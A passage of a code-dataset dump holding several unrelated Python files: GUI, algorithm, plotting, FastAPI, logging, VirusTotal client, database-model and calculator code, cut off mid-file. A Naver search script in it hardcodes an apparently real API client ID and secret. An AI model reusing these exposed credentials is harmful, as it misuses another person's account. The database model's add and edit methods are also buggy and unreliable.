Frame(root)\r\ntopframe.pack()\r\n\r\nbottomframe = Frame(root)\r\nbottomframe.pack(side = BOTTOM)\r\n\r\nfolder_path = StringVar()\r\nstate_Label = StringVar()\r\n#xlsx_path = str()\r\n\r\n\r\nlbl1 = Label(master=root,textvariable=state_Label)\r\nlbl1.pack()\r\n#lbl1.grid(row=1, column=1)\r\n\r\n#lbl1 = Label(master=root,textvariable=resultLabel)\r\n#lbl1.grid(row=1, column=1)\r\nresult_Label = StringVar()\r\nlbl2 = Label(master=topframe,textvariable=result_Label)\r\nlbl2.pack()\r\n#lbl2.grid(row=3, column=1)\r\n\r\n\r\nbutton1 = Button(bottomframe, text=\"Browse Folder\", command=browse_button)\r\n#button1.grid(row=5, column=1)\r\nbutton1.pack(side = LEFT)\r\n\r\nbutton2 = Button(bottomframe, text=\"Extract\", command=extract_button)\r\n#button2.grid(row=5, column=3)\r\nbutton2.pack(side = LEFT)\r\n\r\nbutton3 = Button(bottomframe, text=\"Load Data File\", command=load_button)\r\n#button3.grid(row=5, column=5)\r\nbutton3.pack(side = LEFT)\r\n\r\nbutton4 = Button(bottomframe, text=\"Load Query Image\", command=image_button)\r\n#button4.grid(row=5, column=7)\r\nbutton4.pack(side = LEFT)\r\n\r\nbutton5 = Button(bottomframe, text=\"Recognition\", command=recognition_button)\r\n#button5.grid(row=5, column=9)\r\nbutton5.pack(side = LEFT)\r\n\r\nmainloop()","repo_name":"AnamIslam/DataMiningLab","sub_path":"160222/Exp_3_2.py","file_name":"Exp_3_2.py","file_ext":"py","file_size_in_byte":14357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23181479067","text":"#K = int(input())\n#sl = list(map(lambda x: int(x), input().split(\" \")))\n#Max=getMax([x,x,sl[x]],Max,[x,Max[1],addNew])\ndef getMax(New, Max, addNew):\n\tif New[2]>=Max[2]:\n\t\tif New[2]>=addNew[2] :\n\t\t\treturn New\n\t\telse:\n\t\t\treturn addNew\n\telse:\n\t\tif addNew[2]>Max[2]:\n\t\t\treturn addNew\n\t\telse:\n\t\t\treturn Max\ndef getMaxSeq(sl, K):\n\tflag=True\n\tcurrMax=[]\n\tMax=[]\n\tfor x in range(K):\n\t\tif sl[x]>=0:\n\t\t\tflag=False\n\tif flag:\n\t\t#print(\"0\"+\" \"+str(sl[0])+\" \"+str(sl[K-1]))\n\t\treturn [0,sl[0],sl[K-1]]\n\telse:\n\t\tfor x in range(K-1,-1,-1):\n\t\t\tif x==K-1:\n\t\t\t\tcurrMax=[K-1,sl[K-1]]\n\t\t\t\tMax=[K-1,K-1,sl[K-1]]\n\t\t\telse:\n\t\t\t\taddNew=sl[x]+currMax[1]\n\t\t\t\tif sl[x]>=addNew:\n\t\t\t\t\tcurrMax=[x,sl[x]]\n\t\t\t\telse:\n\t\t\t\t\tcurrMax[1]=addNew\n\t\t\t\tMax=getMax([x,x,sl[x]],Max,[x,Max[1],addNew])\n\t\treturn [Max[2],sl[Max[0]],sl[Max[1]]]","repo_name":"zhangxu999/PAT_Alevel","sub_path":"PAT1007_MaximumSubsequenceSum2.py","file_name":"PAT1007_MaximumSubsequenceSum2.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"43617024559","text":"import typing\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nimport contour\nfrom config import POLYGON_COLOR\n\n\nclass ContourEditor:\n DRAG_HANDLE_EPSILON_PX = 20\n LEFT_MOUSE_BUTTON = 1\n\n def __init__(self, image: np.ndarray, axes_title: str = \"DeepScanner\") -> None:\n self.image = image\n _, self.axes = plt.subplots()\n initial_contour = contour.get_initial_contour(image)\n polygon = plt.Polygon(initial_contour,\n animated=True,\n color=POLYGON_COLOR + \"55\", )\n self.axes.add_patch(polygon)\n self.axes.set_title(axes_title)\n self.polygon = polygon\n self.canvas = polygon.figure.canvas\n\n self.line = plt.Line2D(polygon.xy[:, 0], polygon.xy[:, 1],\n marker=\"o\",\n animated=True,\n markersize=3,\n markeredgewidth=2,\n markerfacecolor=POLYGON_COLOR,\n color=POLYGON_COLOR)\n self.axes.add_line(self.line)\n\n self.edited_point_index = None\n self._register_callbacks()\n\n def _register_callbacks(self):\n self.polygon_changed_cid = self.polygon.add_callback(self._on_polygon_changed)\n self.canvas.mpl_connect('draw_event', self._on_draw)\n self.canvas.mpl_connect('button_press_event', self._on_button_press)\n self.canvas.mpl_connect('button_release_event', self._on_button_release)\n self.canvas.mpl_connect('motion_notify_event', self._on_motion_notify)\n\n def _on_polygon_changed(self, polygon) -> None:\n plt.Artist.update_from(typing.cast(plt.Artist, self.line), polygon)\n\n def _on_draw(self, _) -> None:\n self.background = self.canvas.copy_from_bbox(self.axes.bbox)\n self.axes.draw_artist(self.polygon)\n self.axes.draw_artist(self.line)\n\n def _on_button_press(self, event):\n if not event.inaxes or event.button != self.LEFT_MOUSE_BUTTON:\n return\n self.edited_point_index = self.get_point_index_at(event)\n\n def _on_button_release(self, event):\n if event.button != self.LEFT_MOUSE_BUTTON:\n return\n self.edited_point_index = None\n\n def _on_motion_notify(self, event):\n if self.edited_point_index is None or not event.inaxes or event.button != self.LEFT_MOUSE_BUTTON:\n return\n x, y = event.xdata, event.ydata\n self.polygon.xy[self.edited_point_index] = x, y\n if self.edited_point_index == 0:\n self.polygon.xy[-1] = x, y\n elif self.edited_point_index == len(self.polygon.xy) - 1:\n self.polygon.xy[0] = x, y\n self.line.set_data(zip(*self.polygon.xy))\n self.canvas.restore_region(self.background)\n self.axes.draw_artist(self.polygon)\n self.axes.draw_artist(self.line)\n self.canvas.blit(self.axes.bbox)\n\n def get_point_index_at(self, event):\n xy = np.asarray(self.polygon.xy)\n xy = self.polygon.get_transform().transform(xy)\n x, y = xy[:, 0], xy[:, 1]\n d = np.hypot(x - event.x, y - event.y)\n indices, = np.nonzero(d == d.min())\n ind = indices[0]\n if d[ind] >= self.DRAG_HANDLE_EPSILON_PX:\n ind = None\n return ind\n\n def __call__(self):\n plt.imshow(self.image, cmap=\"gray\")\n plt.show()\n return np.asarray(self.polygon.xy)\n","repo_name":"wysockipiotr/deep-scanner","sub_path":"research/scripts/scanner/contour_editor.py","file_name":"contour_editor.py","file_ext":"py","file_size_in_byte":3462,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"} +{"seq_id":"42266717027","text":"from typing import List\nfrom fastapi import APIRouter, Depends\nfrom fastapi.encoders import jsonable_encoder\nfrom fastapi.responses import JSONResponse\n\nfrom shop_app.models.operations import *\nfrom shop_app.services.operations import OperationService\n\n\nrouter = APIRouter(\n tags=['operations']\n)\n\n\n@router.get('/shops')\nasync def get_shop(\n code: Optional[int] = None,\n name: Optional[str] = None,\n service: OperationService = Depends()\n):\n # content = jsonable_encoder({'shops': service.get_shops(code, name)})\n # return JSONResponse(content=content)\n data = service.get_shops(code, name)\n return {'shops': data}\n\n\n@router.post('/shops', response_model=ShopCreate)\nasync def create_shop(\n shop_data: ShopBase,\n service: OperationService = Depends()\n):\n return service.create_shop(shop_data=shop_data)\n\n\n@router.put('/shops/', response_model=ShopCreate)\nasync def update_shop(\n code: int,\n shop_data: ShopBase,\n service: OperationService = Depends()\n):\n return service.update_shop(code=code, shop_data=shop_data)\n\n\n@router.get('/articles', response_model=List[ArticleBase])\nasync def get_article(\n code: Optional[int] = None,\n name: Optional[str] = None,\n service: OperationService = Depends()\n):\n return service.get_arts(code, name)\n\n\n@router.post('/articles', response_model=ArticleCreate)\nasync def create_article(\n art_data: ArticleBase,\n service: OperationService = Depends()\n):\n return service.create_art(art_data=art_data)\n\n\n@router.put('/articles', response_model=ArticleCreate)\nasync def update_article(\n code: int,\n art_data: ArticleBase,\n service: OperationService = Depends()\n):\n return service.update_art(code=code, art_data=art_data)\n","repo_name":"SerWilliams/shop","sub_path":"shop_app/api/operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35934712652","text":"import logging.handlers\n\"\"\"\n日志文件分包\n\"\"\"\n\n\n\nclass FinalLogger:\n logger = None\n log_file = r\"D:\\work\\debug.log\"\n log_max_byte = 10 * 1024 \n log_backup_count = 10\n\n @staticmethod\n def getLogger():\n if FinalLogger.logger is not None:\n return FinalLogger.logger\n FinalLogger.logger = logging.Logger(\"loggingmodule.FinalLogger\")\n log_handler = logging.handlers.RotatingFileHandler(filename = FinalLogger.log_file,\\\n maxBytes = FinalLogger.log_max_byte,\\\n backupCount = FinalLogger.log_backup_count)\n log_fmt = logging.Formatter(\"%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s\")\n log_handler.setFormatter(log_fmt)\n FinalLogger.logger.addHandler(log_handler)\n FinalLogger.logger.setLevel(logging.DEBUG)\n\n console = logging.StreamHandler()\n console.setLevel(logging.DEBUG)\n # formatter = logging.Formatter(\"%asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s\")\n formatter = logging.Formatter(\"%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s\")\n console.setFormatter(formatter)\n FinalLogger.logger.addHandler(console)\n return FinalLogger.logger\n\n\nclass mylog():\n def __init__(self,log_file=\"debug.log\",log_max_byte=150*1024*1024,log_backup_count=5):\n self.logger = None\n self.log_file = log_file\n self.log_max_byte = log_max_byte\n self.log_backup_count = log_backup_count\n \n def getLogger(self):\n if self.logger is not None:\n return self.logger\n self.logger = logging.Logger(\"loggingmodule.FinalLogger\")\n log_handler = logging.handlers.RotatingFileHandler(filename = self.log_file,\\\n maxBytes = self.log_max_byte,\\\n backupCount = self.log_backup_count)\n log_fmt = logging.Formatter(\"%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s\")\n log_handler.setFormatter(log_fmt)\n self.logger.addHandler(log_handler)\n self.logger.setLevel(logging.DEBUG)\n\n console = logging.StreamHandler()\n console.setLevel(logging.DEBUG)\n # formatter = logging.Formatter(\"%asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s\")\n formatter = logging.Formatter(\"%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s\")\n console.setFormatter(formatter)\n self.logger.addHandler(console)\n return self.logger\n\n\n\nif __name__ == \"__main__\":\n logger = FinalLogger.getLogger()\n while 1:\n logger.debug(\"this is a debug msg!\")\n logger.info(\"this is a info msg!\")\n logger.warning(\"this is a warn msg!\")\n logger.error(\"this is a error msg!\")\n logger.critical(\"this is a critical msg!\")\n\n","repo_name":"jingshiyue/my_dict_forPython","sub_path":"日志模块/logging_packaged.py","file_name":"logging_packaged.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25513991680","text":"from flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField, DateField, DecimalField\nfrom wtforms.validators import DataRequired, NumberRange, Optional\n\nclass AddPlantForm(FlaskForm):\n plant_name = StringField('Plant Name', validators=[DataRequired()])\n adoption_date = DateField('Adoption Date', validators=[Optional()])\n pot_size = DecimalField('Pot Size (inches)', validators=[Optional(), NumberRange(0.00, 99.50)])\n purchase_location = StringField('Purchase Location', validators=[Optional()])\n purchase_price = DecimalField('Purchase Price', validators=[Optional()])\n submit = SubmitField('Add Plant')","repo_name":"apettenati/plant-tracker","sub_path":"app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23906705758","text":"from __future__ import unicode_literals\ntry:\n str = unicode\nexcept NameError:\n pass\n\nimport json\n\nfrom PyQt5.QtCore import QObject, QUrl, QByteArray, pyqtSignal\nfrom PyQt5.QtNetwork import QNetworkRequest, QNetworkReply, \\\n QNetworkAccessManager\n\nimport Preferences\n\n\nclass VirusTotalAPI(QObject):\n \"\"\"\n Class implementing the VirusTotal\n API.\n \n @signal checkServiceKeyFinished(bool, str) emitted after the service key\n check has been performed. It gives a flag indicating validity\n (boolean) and an error message in case of a network error (string).\n @signal submitUrlError(str) emitted with the error string, if the URL scan\n submission returned an error.\n @signal urlScanReport(str) emitted with the URL of the URL scan report page\n @signal fileScanReport(str) emitted with the URL of the file scan report\n page\n \"\"\"\n checkServiceKeyFinished = pyqtSignal(bool, str)\n submitUrlError = pyqtSignal(str)\n urlScanReport = pyqtSignal(str)\n fileScanReport = pyqtSignal(str)\n \n TestServiceKeyScanID = \\\n \"4feed2c2e352f105f6188efd1d5a558f24aee6971bdf96d5fdb19c197d6d3fad\"\n \n ServiceResult_RequestLimitReached = -2\n ServiceResult_InvalidServiceKey = -1\n ServiceResult_ItemNotPresent = 0\n ServiceResult_ItemPresent = 1\n \n GetFileReportPattern = \"{0}://www.virustotal.com/api/get_file_report.json\"\n ScanUrlPattern = \"{0}://www.virustotal.com/api/scan_url.json\"\n GetUrlReportPattern = \"{0}://www.virustotal.com/api/get_url_report.json\"\n \n ReportUrlScanPagePattern = \\\n \"http://www.virustotal.com/url-scan/report.html?id={0}\"\n ReportFileScanPagePattern = \\\n \"http://www.virustotal.com/file-scan/report.html?id={0}\"\n \n SearchUrl = \"http://www.virustotal.com/search.html\"\n \n def __init__(self, parent=None):\n \"\"\"\n Constructor\n \n @param parent reference to the parent object (QObject)\n \"\"\"\n super(VirusTotalAPI, self).__init__(parent)\n \n self.__replies = []\n \n self.__loadSettings()\n \n def __loadSettings(self):\n \"\"\"\n Private method to load the settings.\n \"\"\"\n if Preferences.getHelp(\"VirusTotalSecure\"):\n protocol = \"https\"\n else:\n protocol = \"http\"\n self.GetFileReportUrl = self.GetFileReportPattern.format(protocol)\n self.ScanUrlUrl = self.ScanUrlPattern.format(protocol)\n self.GetUrlReportUrl = self.GetUrlReportPattern.format(protocol)\n \n self.errorMessages = {\n -2: self.tr(\"Request limit has been reached.\"),\n -1: self.tr(\"Invalid key given.\"),\n 0: self.tr(\"Requested item is not present.\")\n }\n \n def preferencesChanged(self):\n \"\"\"\n Public slot to handle a change of preferences.\n \"\"\"\n self.__loadSettings()\n \n def checkServiceKeyValidity(self, key, protocol=\"\"):\n \"\"\"\n Public method to check the validity of the given service key.\n \n @param key service key (string)\n @param protocol protocol used to access VirusTotal (string)\n \"\"\"\n if protocol == \"\":\n urlStr = self.GetFileReportUrl\n else:\n urlStr = self.GetFileReportPattern.format(protocol)\n request = QNetworkRequest(QUrl(urlStr))\n request.setHeader(QNetworkRequest.ContentTypeHeader,\n \"application/x-www-form-urlencoded\")\n params = QByteArray(\"key={0}&resource={1}\".format(\n key, self.TestServiceKeyScanID))\n \n import Helpviewer.HelpWindow\n nam = Helpviewer.HelpWindow.HelpWindow.networkAccessManager()\n reply = nam.post(request, params)\n reply.finished.connect(self.__checkServiceKeyValidityFinished)\n self.__replies.append(reply)\n \n def __checkServiceKeyValidityFinished(self):\n \"\"\"\n Private slot to determine the result of the service key validity check.\n \"\"\"\n res = False\n msg = \"\"\n \n reply = self.sender()\n if reply.error() == QNetworkReply.NoError:\n result = json.loads(str(reply.readAll(), \"utf-8\"))\n if result[\"result\"] != self.ServiceResult_InvalidServiceKey:\n res = True\n else:\n msg = reply.errorString()\n self.__replies.remove(reply)\n \n self.checkServiceKeyFinished.emit(res, msg)\n \n def submitUrl(self, url):\n \"\"\"\n Public method to submit an URL to be scanned.\n \n @param url url to be scanned (QUrl)\n \"\"\"\n request = QNetworkRequest(QUrl(self.ScanUrlUrl))\n request.setHeader(QNetworkRequest.ContentTypeHeader,\n \"application/x-www-form-urlencoded\")\n params = QByteArray(\"key={0}&url=\".format(\n Preferences.getHelp(\"VirusTotalServiceKey\")))\\\n .append(QUrl.toPercentEncoding(url.toString()))\n \n import Helpviewer.HelpWindow\n nam = Helpviewer.HelpWindow.HelpWindow.networkAccessManager()\n reply = nam.post(request, params)\n reply.finished.connect(self.__submitUrlFinished)\n self.__replies.append(reply)\n \n def __submitUrlFinished(self):\n \"\"\"\n Private slot to determine the result of the URL scan submission.\n \"\"\"\n reply = self.sender()\n if reply.error() == QNetworkReply.NoError:\n result = json.loads(str(reply.readAll(), \"utf-8\"))\n if result[\"result\"] == self.ServiceResult_ItemPresent:\n self.urlScanReport.emit(\n self.ReportUrlScanPagePattern.format(result[\"scan_id\"]))\n self.__getFileScanReportUrl(result[\"scan_id\"])\n else:\n self.submitUrlError.emit(self.errorMessages[result[\"result\"]])\n else:\n self.submitUrlError.emit(reply.errorString())\n self.__replies.remove(reply)\n \n def __getFileScanReportUrl(self, scanId):\n \"\"\"\n Private method to get the report URL for a file scan.\n \n @param scanId ID of the scan to get the report URL for (string)\n \"\"\"\n request = QNetworkRequest(QUrl(self.GetUrlReportUrl))\n request.setHeader(QNetworkRequest.ContentTypeHeader,\n \"application/x-www-form-urlencoded\")\n params = QByteArray(\"key={0}&resource={1}\".format(\n Preferences.getHelp(\"VirusTotalServiceKey\"), scanId))\n \n import Helpviewer.HelpWindow\n nam = Helpviewer.HelpWindow.HelpWindow.networkAccessManager()\n reply = nam.post(request, params)\n reply.finished.connect(self.__getFileScanReportUrlFinished)\n self.__replies.append(reply)\n \n def __getFileScanReportUrlFinished(self):\n \"\"\"\n Private slot to determine the result of the file scan report URL\n request.\n \"\"\"\n reply = self.sender()\n if reply.error() == QNetworkReply.NoError:\n result = json.loads(str(reply.readAll(), \"utf-8\"))\n if \"file-report\" in result:\n self.fileScanReport.emit(\n self.ReportFileScanPagePattern.format(\n result[\"file-report\"]))\n self.__replies.remove(reply)\n \n @classmethod\n def getSearchRequestData(cls, term):\n \"\"\"\n Class method to assemble the search request data structure.\n \n @param term search term (string)\n @return tuple of network request object, operation and parameters\n (QNetworkRequest, QNetworkAccessManager.Operation, QByteArray)\n \"\"\"\n request = QNetworkRequest(QUrl(cls.SearchUrl))\n request.setHeader(QNetworkRequest.ContentTypeHeader,\n \"application/x-www-form-urlencoded\")\n op = QNetworkAccessManager.PostOperation\n params = QByteArray(\"chain=\").append(QUrl.toPercentEncoding(term))\n \n return (request, op, params)\n","repo_name":"testmana2/eric","sub_path":"Helpviewer/VirusTotalApi.py","file_name":"VirusTotalApi.py","file_ext":"py","file_size_in_byte":8030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32731541445","text":"#!/usr/bin/env python\n\ndef parse_application_tag(app_tag):\n \"\"\"Parse out the components of the application tag.\"\"\"\n if len(app_tag) == 10:\n data = {'analysis': app_tag[:3], 'library': app_tag[3:6]}\n if app_tag[6] == 'K':\n data['reads'] = int(app_tag[7:]) * 1000\n elif app_tag[6] == 'R':\n data['reads'] = int(app_tag[7:]) * 1000000\n elif app_tag[6] == 'C':\n genome_bases = 3100000000\n bases_per_read = 150\n cov = int(app_tag[7:])\n data['coverage'] = cov\n data['reads'] = int(float(cov*genome_bases)/bases_per_read)\n\n elif len(app_tag) == 9:\n data = {'analysis': app_tag[:3], 'library': app_tag[3:6],\n 'reads': int(app_tag[6:]) * 1000000}\n\n elif len(app_tag) == 8:\n # EXOSX100, EXSTA100\n data = {'analysis': 'EXO', 'library': 'SXT',\n 'reads': int(app_tag[5:]) * 1000000}\n\n elif len(app_tag) == 12:\n # EXSTATRIO100\n data = {'analysis': 'EXO', 'library': 'SXT', 'reads': 100000000}\n\n else:\n raise ValueError(\"unknown application tag: {}\".format(app_tag))\n\n return data\n","repo_name":"mayabrandi/clinical_EPPs","sub_path":"clinical_EPPs/EPP_utils.py","file_name":"EPP_utils.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33468482995","text":"from sipkd.models.model import * \nfrom sqlalchemy import and_\nfrom sipkd.models.pbb.pbb import osPbb\nimport types\n\nclass osDOP(Base):\n __tablename__ = 'dat_objek_pajak'\n kd_propinsi = Column(String(2), primary_key=True)\n kd_dati2 = Column(String(2), primary_key=True)\n kd_kecamatan = Column(String(3), primary_key=True)\n kd_kelurahan = Column(String(3), primary_key=True)\n kd_blok = Column(String(3), primary_key=True)\n no_urut = Column(String(4), primary_key=True)\n kd_jns_op = Column(String(1), primary_key=True)\n subjek_pajak_id = Column(String(30))\n no_formulir_spop = Column(String(11))\n no_persil = Column(String(5))\n jalan_op = Column(String(30))\n blok_kav_no_op = Column(String(15))\n rw_op = Column(String(2))\n rt_op = Column(String(3))\n kd_status_cabang = Column(Float)\n kd_status_wp = Column(String(1))\n total_luas_bumi = Column(Float)\n total_luas_bng = Column(Float)\n njop_bumi = Column(Float)\n njop_bng = Column(Float)\n status_peta_op = Column(Float)\n jns_transaksi_op = Column(String(1))\n tgl_pendataan_op = Column(DateTime)\n nip_pendata = Column(String(18))\n tgl_pemeriksaan_op = Column(DateTime)\n nip_pemeriksa_op = Column(String(18))\n tgl_perekaman_op = Column(DateTime)\n nip_perekam_op = Column(String(18))\n \n def __init__(self):\n pass\n \n @classmethod\n def row2dict(cls,row):\n d = {}\n if row:\n for column in row.__table__.columns:\n d[column.name] = getattr(row, column.name)\n return d\n\n \n @classmethod\n def get_rows(cls):\n return DBSession.query(cls).all()\n \n @classmethod\n def get_by_id(cls,id):\n return DBSession.query(cls).filter(cls.id==id).first()\n \n @classmethod\n def get_by_nama(cls,nama):\n return DBSession.query(cls).filter(cls.nama==nama).first()\n \n @classmethod\n def get_by_kode(cls,nop):\n return DBSession.query(cls).filter( and_(\n cls.kd_propinsi==nop.kd_propinsi ,\n cls.kd_dati2==nop.kd_dati2 ,\n cls.kd_kecamatan==nop.kd_kecamatan ,\n cls.kd_kelurahan==nop.kd_kelurahan ,\n cls.kd_blok==nop.kd_blok ,\n cls.no_urut==nop.no_urut ,\n cls.kd_jns_op==nop.kd_jns_op)\n ).first() \n\n @classmethod\n def get_by_form(cls,frm):\n return DBSession.query(cls).filter( \n cls.no_formulir_spop==osPbb.frm_join(frm)\n ).first() \n \n @classmethod\n def tambah(cls, datas):\n data=cls(datas)\n DBSession.add(kd_propinsi==datas.kd_propinsi ,\n kd_dati2==datas.kd_dati2 ,\n kd_kecamatan==datas.kd_kecamatan ,\n kd_kelurahan==datas.kd_kelurahan ,\n kd_blok==datas.kd_blok ,\n no_urut==datas.no_urut ,\n kd_jns_op==datas.kd_jns_op ,\n subjek_pajak_id==datas.subjek_pajak_id ,\n no_formulir_spop==datas.no_formulir_spop ,\n no_persil==datas.no_persil ,\n jalan_op==datas.jalan_op ,\n blok_kav_no_op==datas.blok_kav_no_op ,\n rw_op==datas.rw_op ,\n rt_op==datas.rt_op ,\n kd_status_cabang==datas.kd_status_cabang ,\n kd_status_wp==datas.kd_status_wp ,\n total_luas_bumi==datas.total_luas_bumi ,\n total_luas_bng==datas.total_luas_bng ,\n njop_bumi==datas.njop_bumi ,\n njop_bng==datas.njop_bng ,\n status_peta_op==datas.status_peta_op ,\n jns_transaksi_op==datas.jns_transaksi_op ,\n tgl_pendataan_op==datas.tgl_pendataan_op ,\n nip_pendata==datas.nip_pendata ,\n tgl_pemeriksaan_op==datas.tgl_pemeriksaan_op ,\n nip_pemeriksa_op==datas.nip_pemeriksa_op ,\n tgl_perekaman_op==datas.tgl_perekaman_op ,\n nip_perekam_op==datas.nip_perekam_op)\n \n @classmethod\n def edit(cls, data):\n DBsession.merge(kd_propinsi==datas.kd_propinsi ,\n kd_dati2==datas.kd_dati2 ,\n kd_kecamatan==datas.kd_kecamatan ,\n kd_kelurahan==datas.kd_kelurahan ,\n kd_blok==datas.kd_blok ,\n no_urut==datas.no_urut ,\n kd_jns_op==datas.kd_jns_op ,\n subjek_pajak_id==datas.subjek_pajak_id ,\n no_formulir_spop==datas.no_formulir_spop ,\n no_persil==datas.no_persil ,\n jalan_op==datas.jalan_op ,\n blok_kav_no_op==datas.blok_kav_no_op ,\n rw_op==datas.rw_op ,\n rt_op==datas.rt_op ,\n kd_status_cabang==datas.kd_status_cabang ,\n kd_status_wp==datas.kd_status_wp ,\n total_luas_bumi==datas.total_luas_bumi ,\n total_luas_bng==datas.total_luas_bng ,\n njop_bumi==datas.njop_bumi ,\n njop_bng==datas.njop_bng ,\n status_peta_op==datas.status_peta_op ,\n jns_transaksi_op==datas.jns_transaksi_op ,\n tgl_pendataan_op==datas.tgl_pendataan_op ,\n nip_pendata==datas.nip_pendata ,\n tgl_pemeriksaan_op==datas.tgl_pemeriksaan_op ,\n nip_pemeriksa_op==datas.nip_pemeriksa_op ,\n tgl_perekaman_op==datas.tgl_perekaman_op ,\n nip_perekam_op==datas.nip_perekam_op)\n \n @classmethod\n def hapus(cls,datas,nop):\n DBSession.query(cls).filter( and_(\n cls.kd_propinsi==nop.kd_propinsi ,\n cls.kd_dati2==nop.kd_dati2 ,\n cls.kd_kecamatan==nop.kd_kecamatan ,\n cls.kd_kelurahan==nop.kd_kelurahan ,\n cls.kd_blok==nop.kd_blok ,\n cls.no_urut==nop.no_urut ,\n cls.kd_jns_op==nop.kd_jns_op)\n ).delete()\n \n @classmethod\n def frm_max(cls,kode):\n frm=osPbb.frm_join(kode)\n return DBSession.query(\n func.max(cls.no_formulir_spop).label(\"frm_max\")).filter(\n cls.no_formulir_spop.like(''.join((frm[0:7],'%')))).first()\n","repo_name":"Omnimusha/openSIPKD","sub_path":"sipkd/models/pbb/data/dat_objek_pajak.py","file_name":"dat_objek_pajak.py","file_ext":"py","file_size_in_byte":6053,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"21314721360","text":"import json\r\nimport re\r\nimport urllib.parse\r\nimport urllib.request\r\n\r\nsearch = '한파'\r\ncategory = 'news'\r\ndisplay = 20\r\nstart = 1\r\nsort = 'sim'\r\n\r\nbaseURL = 'https://openapi.naver.com/v1/search/'\r\nnode = f'{category}.json'\r\nparam = f'?query={urllib.parse.quote(search)}'\r\nparam += f'&display={display}'\r\nparam += f'&start={start}'\r\nparam += f'&sort={sort}'\r\nURL = baseURL + node + param\r\nrequest = urllib.request.Request(URL)\r\nrequest.add_header('X-Naver-Client-Id', 'bwvcfH0XTJPsuWGdKnjW')\r\nrequest.add_header('X-Naver-Client-Secret', 'b5BbKw3Owy')\r\ntry:\r\n response = urllib.request.urlopen(request)\r\n if response.getcode() == 200: # success code\r\n ret_data = response.read().decode('utf-8')\r\nexcept Exception as ex:\r\n print('서버 요청 에러')\r\n\r\nret_data = re.sub(\"\\\\\\\\||<\\\\\\\\/b>|'|"\", \"\", ret_data)\r\nfile_name = f'{category}_{search}.json'\r\ntry:\r\n with open(file_name, 'w', encoding='utf-8') as wfs:\r\n wfs.write(ret_data)\r\n print(file_name, '생성 완료!')\r\nexcept Exception as ex:\r\n print('파일 생성 에러:', ex)\r\n\r\ntry:\r\n with open(file_name, 'r', encoding='utf-8') as rfs:\r\n dic_data = json.load(rfs)\r\n list_data = dic_data['items']\r\n for n in list_data:\r\n print('제목:', n['title'])\r\n print('링크:', n['link'])\r\n print('----------------------------')\r\n\r\nexcept Exception as ex:\r\n print('파일 읽기 에러:', ex)","repo_name":"hickee032/python","sub_path":"api_naver(API)/naver_search2.py","file_name":"naver_search2.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1373598122","text":"from django.urls import path\nfrom rest_framework import routers\nfrom main import views\n\nrouter = routers.SimpleRouter()\nrouter.register(r'jobs', views.JobViewSet)\nrouter.register(r'results', views.JobResultViewSet)\n\nurlpatterns = [\n path(r'api/simple/', views.SimpleView.as_view()),\n path(r'api/cpu/', views.CPUView.as_view()),\n path(r'api/big/', views.BigView.as_view()),\n path(r'api/ping/', views.PingView.as_view())\n]","repo_name":"egor-lukyanov/rest_lab","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19382491762","text":"# coding: utf-8\n# @Author : lryself\n# @Date : 2022/7/1 21:37\n# @Software: PyCharm\n\nI = input().split()[1:]\nR = list(set(map(int, input().split()[1:])))\nR.sort()\nR = list(map(str, R))\nRMap = {}\nfor i in R:\n RMap[i] = []\n\nfor index, i in enumerate(I):\n v = [index, i]\n for j in R:\n if j in i:\n RMap[j].append(v)\n\nresult = []\nfor k in R:\n v = RMap[k]\n if len(RMap[k]) == 0:\n continue\n\n result.append(k)\n result.append(len(v))\n for i in v:\n result.append(i[0])\n result.append(i[1])\nprint(len(result), end=\"\")\nfor i in result:\n print(f\" {i}\", end=\"\")\n","repo_name":"lryself/python_learning","sub_path":"nowcoder/HJ25 数据分类处理.py","file_name":"HJ25 数据分类处理.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"11930984548","text":"def get_number(prio):\n try:\n number = float(input(f\"Give me the {prio} number: \"))\n return number\n except ValueError:\n print(\"ValueError Please Try Again\")\n return get_number(prio)\n\n\ndef get_operator(prio):\n accepted_operators = ['+', '-', '*', '/']\n operator = input(f\"Enter {prio} operator: \")\n if operator in accepted_operators:\n return operator\n else:\n print(\"Wrong Operator Please Try Again\")\n return get_operator(prio)\n\n\nwhile True:\n num1 = get_number('first')\n op1 = get_operator('first')\n num2 = get_number('second')\n op2 = get_operator('second')\n num3 = get_number('third')\n if op1 == '+' and op2 == '+':\n print(f' {num1} + {num2} + {num3} = {num1 + num2 + num3}')\n elif op1 == '-' and op2 == '-':\n print(f' {num1} - {num2} - {num3} = {num1 - num2 - num3}')\n elif op1 == '*' and op2 == '*':\n 